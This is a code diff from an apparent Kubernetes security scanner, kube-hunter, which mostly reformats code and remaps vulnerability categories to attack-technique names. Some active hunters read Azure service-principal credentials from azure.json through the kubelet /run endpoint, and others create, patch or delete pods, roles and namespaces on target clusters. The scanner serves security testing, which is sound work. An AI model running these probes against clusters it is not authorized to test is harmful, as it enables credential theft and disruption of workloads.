@@ -14,14 +15,19 @@ logger = logging.getLogger(__name__)
|
||||
class AzureSpnExposure(Vulnerability, Event):
|
||||
"""The SPN is exposed, potentially allowing an attacker to gain access to the Azure subscription"""
|
||||
|
||||
def __init__(self, container):
|
||||
def __init__(self, container, evidence=""):
|
||||
Vulnerability.__init__(
|
||||
self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
|
||||
self,
|
||||
Azure,
|
||||
"Azure SPN Exposure",
|
||||
category=MountServicePrincipalTechnique,
|
||||
vid="KHV004",
|
||||
)
|
||||
self.container = container
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
@handler.subscribe(ExposedRunHandler, predicate=lambda x: x.cloud == "Azure")
|
||||
@handler.subscribe(ExposedPodsHandler, predicate=lambda x: x.cloud_type == "Azure")
|
||||
class AzureSpnHunter(Hunter):
|
||||
"""AKS Hunting
|
||||
Hunting Azure cluster deployments using specific known configurations
|
||||
@@ -33,30 +39,33 @@ class AzureSpnHunter(Hunter):
|
||||
|
||||
# getting a container that has access to the azure.json file
|
||||
def get_key_container(self):
|
||||
config = get_config()
|
||||
endpoint = f"{self.base_url}/pods"
|
||||
logger.debug("Trying to find container with access to azure.json file")
|
||||
try:
|
||||
r = requests.get(endpoint, verify=False, timeout=config.network_timeout)
|
||||
except requests.Timeout:
|
||||
logger.debug("failed getting pod info")
|
||||
else:
|
||||
pods_data = r.json().get("items", [])
|
||||
for pod_data in pods_data:
|
||||
for container in pod_data["spec"]["containers"]:
|
||||
for mount in container["volumeMounts"]:
|
||||
path = mount["mountPath"]
|
||||
if "/etc/kubernetes/azure.json".startswith(path):
|
||||
return {
|
||||
"name": container["name"],
|
||||
"pod": pod_data["metadata"]["name"],
|
||||
"namespace": pod_data["metadata"]["namespace"],
|
||||
}
|
||||
|
||||
# pods are saved in the previous event object
|
||||
pods_data = self.event.pods
|
||||
|
||||
suspicious_volume_names = []
|
||||
for pod_data in pods_data:
|
||||
for volume in pod_data["spec"].get("volumes", []):
|
||||
if volume.get("hostPath"):
|
||||
path = volume["hostPath"]["path"]
|
||||
if "/etc/kubernetes/azure.json".startswith(path):
|
||||
suspicious_volume_names.append(volume["name"])
|
||||
for container in pod_data["spec"]["containers"]:
|
||||
for mount in container.get("volumeMounts", []):
|
||||
if mount["name"] in suspicious_volume_names:
|
||||
return {
|
||||
"name": container["name"],
|
||||
"pod": pod_data["metadata"]["name"],
|
||||
"namespace": pod_data["metadata"]["namespace"],
|
||||
"mount": mount,
|
||||
}
|
||||
|
||||
def execute(self):
|
||||
container = self.get_key_container()
|
||||
if container:
|
||||
self.publish_event(AzureSpnExposure(container=container))
|
||||
evidence = f"pod: {container['pod']}, namespace: {container['namespace']}"
|
||||
self.publish_event(AzureSpnExposure(container=container, evidence=evidence))
|
||||
|
||||
|
||||
@handler.subscribe(AzureSpnExposure)
|
||||
@@ -69,14 +78,42 @@ class ProveAzureSpnExposure(ActiveHunter):
|
||||
self.event = event
|
||||
self.base_url = f"https://{self.event.host}:{self.event.port}"
|
||||
|
||||
def test_run_capability(self):
|
||||
"""
|
||||
Uses SecureKubeletPortHunter to test the /run handler
|
||||
TODO: when multiple event subscription is implemented, use this here to make sure /run is accessible
|
||||
"""
|
||||
debug_handlers = SecureKubeletPortHunter.DebugHandlers(path=self.base_url, session=self.event.session, pod=None)
|
||||
return debug_handlers.test_run_container()
|
||||
|
||||
def run(self, command, container):
|
||||
config = get_config()
|
||||
run_url = "/".join(self.base_url, "run", container["namespace"], container["pod"], container["name"])
|
||||
return requests.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout)
|
||||
run_url = f"{self.base_url}/run/{container['namespace']}/{container['pod']}/{container['name']}"
|
||||
return self.event.session.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout)
|
||||
|
||||
def get_full_path_to_azure_file(self):
|
||||
"""
|
||||
Returns a full path to /etc/kubernetes/azure.json
|
||||
Taking into consideration the difference folder of the mount inside the container.
|
||||
TODO: implement the edge case where the mount is to parent /etc folder.
|
||||
"""
|
||||
azure_file_path = self.event.container["mount"]["mountPath"]
|
||||
|
||||
# taking care of cases where a subPath is added to map the specific file
|
||||
if not azure_file_path.endswith("azure.json"):
|
||||
azure_file_path = os.path.join(azure_file_path, "azure.json")
|
||||
|
||||
return azure_file_path
|
||||
|
||||
def execute(self):
|
||||
if not self.test_run_capability():
|
||||
logger.debug("Not proving AzureSpnExposure because /run debug handler is disabled")
|
||||
return
|
||||
|
||||
try:
|
||||
subscription = self.run("cat /etc/kubernetes/azure.json", container=self.event.container).json()
|
||||
azure_file_path = self.get_full_path_to_azure_file()
|
||||
logger.debug(f"trying to access the azure.json at the resolved path: {azure_file_path}")
|
||||
subscription = self.run(f"cat {azure_file_path}", container=self.event.container).json()
|
||||
except requests.Timeout:
|
||||
logger.debug("failed to run command in container", exc_info=True)
|
||||
except json.decoder.JSONDecodeError:
|
||||
|
||||
@@ -8,10 +8,15 @@ from kube_hunter.modules.discovery.apiserver import ApiServer
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
|
||||
from kube_hunter.core.types import Hunter, ActiveHunter, KubernetesCluster
|
||||
from kube_hunter.core.types import (
|
||||
AccessRisk,
|
||||
InformationDisclosure,
|
||||
UnauthenticatedAccess,
|
||||
from kube_hunter.core.types.vulnerabilities import (
|
||||
AccessK8sApiServerTechnique,
|
||||
ExposedSensitiveInterfacesTechnique,
|
||||
GeneralDefenseEvasionTechnique,
|
||||
DataDestructionTechnique,
|
||||
ClusterAdminBindingTechnique,
|
||||
NewContainerTechnique,
|
||||
PrivilegedContainerTechnique,
|
||||
SidecarInjectionTechnique,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -24,12 +29,16 @@ class ServerApiAccess(Vulnerability, Event):
|
||||
def __init__(self, evidence, using_token):
|
||||
if using_token:
|
||||
name = "Access to API using service account token"
|
||||
category = InformationDisclosure
|
||||
category = AccessK8sApiServerTechnique
|
||||
else:
|
||||
name = "Unauthenticated access to API"
|
||||
category = UnauthenticatedAccess
|
||||
category = ExposedSensitiveInterfacesTechnique
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name=name, category=category, vid="KHV005",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name=name,
|
||||
category=category,
|
||||
vid="KHV005",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
@@ -40,48 +49,59 @@ class ServerApiHTTPAccess(Vulnerability, Event):
|
||||
|
||||
def __init__(self, evidence):
|
||||
name = "Insecure (HTTP) access to API"
|
||||
category = UnauthenticatedAccess
|
||||
category = ExposedSensitiveInterfacesTechnique
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name=name, category=category, vid="KHV006",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name=name,
|
||||
category=category,
|
||||
vid="KHV006",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class ApiInfoDisclosure(Vulnerability, Event):
|
||||
"""Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
|
||||
|
||||
def __init__(self, evidence, using_token, name):
|
||||
category = AccessK8sApiServerTechnique
|
||||
if using_token:
|
||||
name += " using service account token"
|
||||
name += " using default service account token"
|
||||
else:
|
||||
name += " as anonymous user"
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name=name,
|
||||
category=category,
|
||||
vid="KHV007",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class ListPodsAndNamespaces(ApiInfoDisclosure):
|
||||
""" Accessing pods might give an attacker valuable information"""
|
||||
"""Accessing pods might give an attacker valuable information"""
|
||||
|
||||
def __init__(self, evidence, using_token):
|
||||
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing pods")
|
||||
|
||||
|
||||
class ListNamespaces(ApiInfoDisclosure):
|
||||
""" Accessing namespaces might give an attacker valuable information """
|
||||
"""Accessing namespaces might give an attacker valuable information"""
|
||||
|
||||
def __init__(self, evidence, using_token):
|
||||
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing namespaces")
|
||||
|
||||
|
||||
class ListRoles(ApiInfoDisclosure):
|
||||
""" Accessing roles might give an attacker valuable information """
|
||||
"""Accessing roles might give an attacker valuable information"""
|
||||
|
||||
def __init__(self, evidence, using_token):
|
||||
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing roles")
|
||||
|
||||
|
||||
class ListClusterRoles(ApiInfoDisclosure):
|
||||
""" Accessing cluster roles might give an attacker valuable information """
|
||||
"""Accessing cluster roles might give an attacker valuable information"""
|
||||
|
||||
def __init__(self, evidence, using_token):
|
||||
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing cluster roles")
|
||||
@@ -89,129 +109,161 @@ class ListClusterRoles(ApiInfoDisclosure):
|
||||
|
||||
class CreateANamespace(Vulnerability, Event):
|
||||
|
||||
""" Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
|
||||
"""
|
||||
"""Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in."""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Created a namespace",
|
||||
category=GeneralDefenseEvasionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class DeleteANamespace(Vulnerability, Event):
|
||||
|
||||
""" Deleting a namespace might give an attacker the option to affect application behavior """
|
||||
"""Deleting a namespace might give an attacker the option to affect application behavior"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Delete a namespace",
|
||||
category=DataDestructionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class CreateARole(Vulnerability, Event):
|
||||
""" Creating a role might give an attacker the option to harm the normal behavior of newly created pods
|
||||
within the specified namespaces.
|
||||
"""Creating a role might give an attacker the option to harm the normal behavior of newly created pods
|
||||
within the specified namespaces.
|
||||
"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(self, KubernetesCluster, name="Created a role", category=AccessRisk)
|
||||
Vulnerability.__init__(self, KubernetesCluster, name="Created a role", category=GeneralDefenseEvasionTechnique)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class CreateAClusterRole(Vulnerability, Event):
|
||||
""" Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
|
||||
across the whole cluster
|
||||
"""Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
|
||||
across the whole cluster
|
||||
"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Created a cluster role",
|
||||
category=ClusterAdminBindingTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class PatchARole(Vulnerability, Event):
|
||||
""" Patching a role might give an attacker the option to create new pods with custom roles within the
|
||||
"""Patching a role might give an attacker the option to create new pods with custom roles within the
|
||||
specific role's namespace scope
|
||||
"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Patched a role", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Patched a role",
|
||||
category=ClusterAdminBindingTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class PatchAClusterRole(Vulnerability, Event):
|
||||
""" Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
|
||||
"""Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
|
||||
cluster scope.
|
||||
"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Patched a cluster role",
|
||||
category=ClusterAdminBindingTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class DeleteARole(Vulnerability, Event):
|
||||
""" Deleting a role might allow an attacker to affect access to resources in the namespace"""
|
||||
"""Deleting a role might allow an attacker to affect access to resources in the namespace"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Deleted a role",
|
||||
category=DataDestructionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class DeleteAClusterRole(Vulnerability, Event):
|
||||
""" Deleting a cluster role might allow an attacker to affect access to resources in the cluster"""
|
||||
"""Deleting a cluster role might allow an attacker to affect access to resources in the cluster"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Deleted a cluster role",
|
||||
category=DataDestructionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class CreateAPod(Vulnerability, Event):
|
||||
""" Creating a new pod allows an attacker to run custom code"""
|
||||
"""Creating a new pod allows an attacker to run custom code"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Created A Pod",
|
||||
category=NewContainerTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class CreateAPrivilegedPod(Vulnerability, Event):
|
||||
""" Creating a new PRIVILEGED pod would gain an attacker FULL CONTROL over the cluster"""
|
||||
"""Creating a new PRIVILEGED pod would gain an attacker FULL CONTROL over the cluster"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Created A PRIVILEGED Pod",
|
||||
category=PrivilegedContainerTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class PatchAPod(Vulnerability, Event):
|
||||
""" Patching a pod allows an attacker to compromise and control it """
|
||||
"""Patching a pod allows an attacker to compromise and control it"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Patched A Pod",
|
||||
category=SidecarInjectionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class DeleteAPod(Vulnerability, Event):
|
||||
""" Deleting a pod allows an attacker to disturb applications on the cluster """
|
||||
"""Deleting a pod allows an attacker to disturb applications on the cluster"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Deleted A Pod",
|
||||
category=DataDestructionTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
@@ -225,7 +277,7 @@ class ApiServerPassiveHunterFinished(Event):
|
||||
# If we have a service account token we'll also trigger AccessApiServerWithToken below
|
||||
@handler.subscribe(ApiServer)
|
||||
class AccessApiServer(Hunter):
|
||||
""" API Server Hunter
|
||||
"""API Server Hunter
|
||||
Checks if API server is accessible
|
||||
"""
|
||||
|
||||
@@ -268,7 +320,10 @@ class AccessApiServer(Hunter):
|
||||
try:
|
||||
if not namespace:
|
||||
r = requests.get(
|
||||
f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
|
||||
f"{self.path}/api/v1/pods",
|
||||
headers=self.headers,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
else:
|
||||
r = requests.get(
|
||||
@@ -296,7 +351,7 @@ class AccessApiServer(Hunter):
|
||||
else:
|
||||
self.publish_event(ServerApiAccess(api, self.with_token))
|
||||
|
||||
namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
|
||||
namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
|
||||
if namespaces:
|
||||
self.publish_event(ListNamespaces(namespaces, self.with_token))
|
||||
|
||||
@@ -319,15 +374,15 @@ class AccessApiServer(Hunter):
|
||||
|
||||
@handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
|
||||
class AccessApiServerWithToken(AccessApiServer):
|
||||
""" API Server Hunter
|
||||
"""API Server Hunter
|
||||
Accessing the API server using the service account token obtained from a compromised pod
|
||||
"""
|
||||
|
||||
def __init__(self, event):
|
||||
super(AccessApiServerWithToken, self).__init__(event)
|
||||
super().__init__(event)
|
||||
assert self.event.auth_token
|
||||
self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
|
||||
self.category = InformationDisclosure
|
||||
self.category = AccessK8sApiServerTechnique
|
||||
self.with_token = True
|
||||
|
||||
|
||||
@@ -411,7 +466,8 @@ class AccessApiServerActive(ActiveHunter):
|
||||
def patch_a_pod(self, namespace, pod_name):
|
||||
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
|
||||
return self.patch_item(
|
||||
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
|
||||
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}",
|
||||
data=json.dumps(data),
|
||||
)
|
||||
|
||||
def create_namespace(self):
|
||||
@@ -438,7 +494,8 @@ class AccessApiServerActive(ActiveHunter):
|
||||
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
|
||||
}
|
||||
return self.create_item(
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles",
|
||||
data=json.dumps(role),
|
||||
)
|
||||
|
||||
def create_a_cluster_role(self):
|
||||
@@ -450,7 +507,8 @@ class AccessApiServerActive(ActiveHunter):
|
||||
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
|
||||
}
|
||||
return self.create_item(
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles",
|
||||
data=json.dumps(cluster_role),
|
||||
)
|
||||
|
||||
def delete_a_role(self, namespace, name):
|
||||
@@ -477,7 +535,8 @@ class AccessApiServerActive(ActiveHunter):
|
||||
def patch_a_cluster_role(self, cluster_role):
|
||||
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
|
||||
return self.patch_item(
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
|
||||
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}",
|
||||
data=json.dumps(data),
|
||||
)
|
||||
|
||||
def execute(self):
|
||||
|
||||
@@ -5,7 +5,7 @@ from scapy.all import ARP, IP, ICMP, Ether, sr1, srp
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, Vulnerability
|
||||
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, IdentityTheft
|
||||
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, ARPPoisoningTechnique
|
||||
from kube_hunter.modules.hunting.capabilities import CapNetRawEnabled
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -17,7 +17,11 @@ class PossibleArpSpoofing(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Possible Arp Spoof",
|
||||
category=ARPPoisoningTechnique,
|
||||
vid="KHV020",
|
||||
)
|
||||
|
||||
|
||||
@@ -37,9 +41,9 @@ class ArpSpoofHunter(ActiveHunter):
|
||||
return ans[ARP].hwsrc if ans else None
|
||||
|
||||
def detect_l3_on_host(self, arp_responses):
|
||||
""" returns True for an existence of an L3 network plugin """
|
||||
"""returns True for an existence of an L3 network plugin"""
|
||||
logger.debug("Attempting to detect L3 network plugin using ARP")
|
||||
unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
|
||||
unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
|
||||
|
||||
# if LAN addresses not unique
|
||||
if len(unique_macs) == 1:
|
||||
@@ -55,7 +59,9 @@ class ArpSpoofHunter(ActiveHunter):
|
||||
config = get_config()
|
||||
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
|
||||
arp_responses, _ = srp(
|
||||
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
|
||||
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
|
||||
timeout=config.network_timeout,
|
||||
verbose=0,
|
||||
)
|
||||
|
||||
# arp enabled on cluster and more than one pod on node
|
||||
|
||||
@@ -4,7 +4,7 @@ import logging
|
||||
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, Vulnerability
|
||||
from kube_hunter.core.types import Hunter, AccessRisk, KubernetesCluster
|
||||
from kube_hunter.core.types import Hunter, ARPPoisoningTechnique, KubernetesCluster
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -17,7 +17,10 @@ class CapNetRawEnabled(Event, Vulnerability):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="CAP_NET_RAW Enabled",
|
||||
category=ARPPoisoningTechnique,
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -3,23 +3,29 @@ import logging
|
||||
import base64
|
||||
import re
|
||||
|
||||
from kube_hunter.core.types import Hunter, KubernetesCluster, InformationDisclosure
|
||||
from kube_hunter.core.types import Hunter, KubernetesCluster, GeneralSensitiveInformationTechnique
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Vulnerability, Event, Service
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
email_pattern = re.compile(rb"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
|
||||
email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
|
||||
|
||||
|
||||
class CertificateEmail(Vulnerability, Event):
|
||||
"""Certificate includes an email address"""
|
||||
"""The Kubernetes API Server advertises a public certificate for TLS.
|
||||
This certificate includes an email address, that may provide additional information for an attacker on your
|
||||
organization, or be abused for further email based attacks."""
|
||||
|
||||
def __init__(self, email):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, vid="KHV021",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Certificate Includes Email Address",
|
||||
category=GeneralSensitiveInformationTechnique,
|
||||
vid="KHV021",
|
||||
)
|
||||
self.email = email
|
||||
self.evidence = "email: {}".format(self.email)
|
||||
self.evidence = f"email: {self.email}"
|
||||
|
||||
|
||||
@handler.subscribe(Service)
|
||||
@@ -42,7 +48,7 @@ class CertificateDiscovery(Hunter):
|
||||
self.examine_certificate(cert)
|
||||
|
||||
def examine_certificate(self, cert):
|
||||
c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
|
||||
c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n")
|
||||
certdata = base64.b64decode(c)
|
||||
emails = re.findall(email_pattern, certdata)
|
||||
for email in emails:
|
||||
|
||||
@@ -6,11 +6,11 @@ from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
|
||||
from kube_hunter.core.types import (
|
||||
Hunter,
|
||||
KubernetesCluster,
|
||||
RemoteCodeExec,
|
||||
PrivilegeEscalation,
|
||||
DenialOfService,
|
||||
KubectlClient,
|
||||
KubernetesCluster,
|
||||
CVERemoteCodeExecutionCategory,
|
||||
CVEPrivilegeEscalationCategory,
|
||||
CVEDenialOfServiceTechnique,
|
||||
)
|
||||
from kube_hunter.modules.discovery.kubectl import KubectlClientEvent
|
||||
|
||||
@@ -25,7 +25,7 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Critical Privilege Escalation CVE",
|
||||
category=PrivilegeEscalation,
|
||||
category=CVEPrivilegeEscalationCategory,
|
||||
vid="KHV022",
|
||||
)
|
||||
self.evidence = evidence
|
||||
@@ -33,14 +33,14 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
|
||||
|
||||
class ServerApiVersionEndPointAccessDos(Vulnerability, Event):
|
||||
"""Node not patched for CVE-2019-1002100. Depending on your RBAC settings,
|
||||
a crafted json-patch could cause a Denial of Service."""
|
||||
a crafted json-patch could cause a Denial of Service."""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Denial of Service to Kubernetes API Server",
|
||||
category=DenialOfService,
|
||||
category=CVEDenialOfServiceTechnique,
|
||||
vid="KHV023",
|
||||
)
|
||||
self.evidence = evidence
|
||||
@@ -52,7 +52,11 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Possible Ping Flood Attack",
|
||||
category=CVEDenialOfServiceTechnique,
|
||||
vid="KHV024",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
@@ -63,7 +67,11 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Possible Reset Flood Attack",
|
||||
category=CVEDenialOfServiceTechnique,
|
||||
vid="KHV025",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
@@ -77,7 +85,7 @@ class ServerApiClusterScopedResourcesAccess(Vulnerability, Event):
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Arbitrary Access To Cluster Scoped Resources",
|
||||
category=PrivilegeEscalation,
|
||||
category=CVEPrivilegeEscalationCategory,
|
||||
vid="KHV026",
|
||||
)
|
||||
self.evidence = evidence
|
||||
@@ -89,10 +97,14 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
|
||||
|
||||
def __init__(self, binary_version):
|
||||
Vulnerability.__init__(
|
||||
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
|
||||
self,
|
||||
KubectlClient,
|
||||
"Kubectl Vulnerable To CVE-2019-11246",
|
||||
category=CVERemoteCodeExecutionCategory,
|
||||
vid="KHV027",
|
||||
)
|
||||
self.binary_version = binary_version
|
||||
self.evidence = "kubectl version: {}".format(self.binary_version)
|
||||
self.evidence = f"kubectl version: {self.binary_version}"
|
||||
|
||||
|
||||
class KubectlCpVulnerability(Vulnerability, Event):
|
||||
@@ -101,10 +113,14 @@ class KubectlCpVulnerability(Vulnerability, Event):
|
||||
|
||||
def __init__(self, binary_version):
|
||||
Vulnerability.__init__(
|
||||
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
|
||||
self,
|
||||
KubectlClient,
|
||||
"Kubectl Vulnerable To CVE-2019-1002101",
|
||||
category=CVERemoteCodeExecutionCategory,
|
||||
vid="KHV028",
|
||||
)
|
||||
self.binary_version = binary_version
|
||||
self.evidence = "kubectl version: {}".format(self.binary_version)
|
||||
self.evidence = f"kubectl version: {self.binary_version}"
|
||||
|
||||
|
||||
class CveUtils:
|
||||
|
||||
@@ -3,7 +3,7 @@ import json
|
||||
import requests
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.types import Hunter, RemoteCodeExec, KubernetesCluster
|
||||
from kube_hunter.core.types import Hunter, AccessK8sDashboardTechnique, KubernetesCluster
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Vulnerability, Event
|
||||
from kube_hunter.modules.discovery.dashboard import KubeDashboardEvent
|
||||
@@ -16,7 +16,11 @@ class DashboardExposed(Vulnerability, Event):
|
||||
|
||||
def __init__(self, nodes):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Dashboard Exposed",
|
||||
category=AccessK8sDashboardTechnique,
|
||||
vid="KHV029",
|
||||
)
|
||||
